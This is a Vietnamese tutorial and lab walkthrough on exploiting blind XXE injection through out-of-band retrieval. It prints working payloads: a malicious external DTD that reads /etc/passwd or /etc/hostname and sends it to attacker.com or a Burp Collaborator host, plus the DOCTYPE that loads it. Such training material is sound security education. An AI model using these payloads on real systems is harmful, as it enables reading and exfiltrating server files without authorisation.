II. Phân tích và khai thác các lỗ hổng XXE injection (tiếp)
5. Khai thác lỗ hổng Blind XXE injection bằng phương pháp truy xuất dữ liệu out-of-band
Ở các mục trước chúng ta đã được giới thiệu và nhận biết lỗ hổng Blind XXE injection. Tất nhiên kẻ tấn công sẽ không muốn chỉ dừng lại ở mức kiểm tra được vị trí xảy ra lỗ hổng XXE dạng blind. Họ luôn tìm kiếm cách truy xuất các dữ liệu nhạy cảm. Do tính chất blind, nên chúng ta thường sử dụng các phương pháp "gián tiếp" để đọc được các tệp dữ liệu trong server.
XML DTD là viết tắt của XML Document Type Definition. Đây là một tệp tin định nghĩa cấu trúc, kiểu dữ liệu các phần tử và thuộc tính trong một tài liệu XML.
Có dạng DTD thường được sử dụng:
- Internal DTD được khai báo trong chính file XML tương ứng:
<!DOCTYPE root-element [element-declarations]>
Ví dụ:
<?xml version="1.0"?>
// Khai báo internal DTD
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
]>
<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget
</note>
- External DTD: Khai báo nội dung trong một tệp tin
.dtd
sẽ được tham chiếu tới sau đó.
Trong các cuộc tấn công XXE injection, kẻ tấn công thường định nghĩa một external DTD, sau đó gọi tham chiếu tới chúng tại payload gửi tới server, sau đó thực hiện truy xuất và hiển thị nội dung dữ liệu nhạy cảm tới một điểm đích do kẻ tấn công sở hữu.
Ví dụ, kẻ tấn công host một trang web public có chứa một external DTD file có URL http://attacker.com/malicious.dtd
có nội dung như sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Tệp tin DTD này thực hiện các bước hoạt động như sau:
- Định nghĩa một parameter entity với tên
file
có giá trị là nội dung tệp/etc/passwd
- Định nghĩa một entity với tên
eval
, trong entity này chứa một định nghĩa parameter entity khác với tênexfiltrate
sẽ gửi request tới website của attackerhttp://attacker.com/
, truyền tham sốx
chứa nội dung tệp/etc/passwd
bằng cách gọi tham chiếu entity%file;
- Gọi tham chiếu entity
%eval
chứa định nghĩa entityexfiltrate
- Gọi tham chiếu entity
%exfiltrate;
.
Trong đó, chúng ta có một số lưu ý:
%
là định dạng HTML encode của ký tự%
do được chứa trong một định nghĩa parameter entity khác.- Các định nghĩa parameter entity cần được gọi tham chiếu mới có thể hoạt động. Như trong ví dụ file DTD trên gọi tham chiếu
%eval;
, để định nghĩa về entityeval
hoạt động thì cần gọi thêm tham chiếu%exfiltrate;
, trong định nghĩa của entityexfiltrate
đã chứa việc gọi tham chiếu%file;
Ví dụ tệp DTD này được deploy tại URL public:
http://attacker.com/malicious.dtd
Cuối cùng, kẻ tấn công định nghĩa một parameter entity, gửi payload tới server chứa lỗ hổng Blind XXE
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
Server truy cập tới file DTD được chỉ định trong server attacker và thực hiện các bước được khai báo. Từ đó server attacker nhận được nội dung tệp tin mong muốn.
Và cần lưu ý rằng, kỹ thuật trên có thể không hoạt động với một số nội dung trong các tệp tin (chẳng hạn ký tự xuống dòng trong /etc/passwd
). Một trong những khắc phục là sử dụng giao thức FTP thay thế cho HTTP.
Phân tích lab Exploiting blind XXE to exfiltrate data using a malicious external DTD
Miêu tả: Chức năng "Check stock" của trang web phân tích cú pháp dữ liệu XML nhưng không trả về bất kỳ kết quả nào trong giao diện. Để hoàn thành bài lab, chúng ta cần truy xuất dữ liệu tệp /etc/hostname
và submit giá trị hostname. Lưu ý rằng với các external DTD chỉ có thể deploy trên exploit server được cung cấp bởi bài lab và Burp Collaborator server.
Quan sát request khi sử dụng chức năng "Check stock" của trang web:
Ký tự &
không được phép sử dụng nên chúng ta không thể định nghĩa các entities thông thường:
Có thể sử dụng parameter entity thay thế, payload kiểm tra DNS lookup với Burp Collaborator Client:
<!DOCTYPE abc [ <!ENTITY % xxe SYSTEM "http://b6iu3bxnzgli3bu11nxef0ehe8k08p.oastify.com"> %xxe; ]>
Dự đoán trang web chứa lỗ hổng Blind XXE injection tại chức năng Stock check. Chúng ta sẽ xây dựng một file DTD thực hiện các bước truy xuất nội dung tệp tin /etc/hostname
hiển thị tại exploit server được cung cấp.
Định nghĩa một parameter entity với tên file có giá trị là nội dung tệp tin /etc/hostname
<!DOCTYPE % file SYSTEM "file:///etc/hostname">
Định nghĩa một entity với tên exploit
chứa một định nghĩa khác parameter entity với tên retrieve
truy cập tới Burp Collaborator và gửi tham số data
với tham chiếu %file;
<!ENTITY % exploit "<!ENTITY % retrieve SYSTEM 'http://acqt9a3m5frh9a007m3dlzkgk7q0ep.oastify.com/?data=%file;'>">
Gọi các tham chiếu %exploit;
, %retrieve;
, cuối cùng chúng ta có nội dung file external DTD đầy đủ:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exploit "<!ENTITY % retrieve SYSTEM 'https://acqt9a3m5frh9a007m3dlzkgk7q0ep.oastify.com/?data=%file;'>">
%exploit;
%retrieve;
Nội dung tệp DTD này được lưu tại /exploit.dtd
Và hiện giờ chúng ta chỉ cần khiến server victim gọi tới tệp DTD này. Định nghĩa một parameter entity như sau:
<!DOCTYPE viblo [<!ENTITY % xxe SYSTEM
"https://exploit-0a25005a0492c7f8c0870ffc01880017.exploit-server.net/exploit.dtd"> %xxe;]>
Sau khi gửi request, server truy cập tới external DTD file do chúng ta tạo và thực hiện các bước theo yêu cầu. Kiểm tra log:
Ngoài ra chúng ta cũng có thể xuất nội dung tệp /etc/hostname
tại chính exploit server được bài lab cung cấp:
Submit hostname d428ac8865ab và hoàn thành bài lab: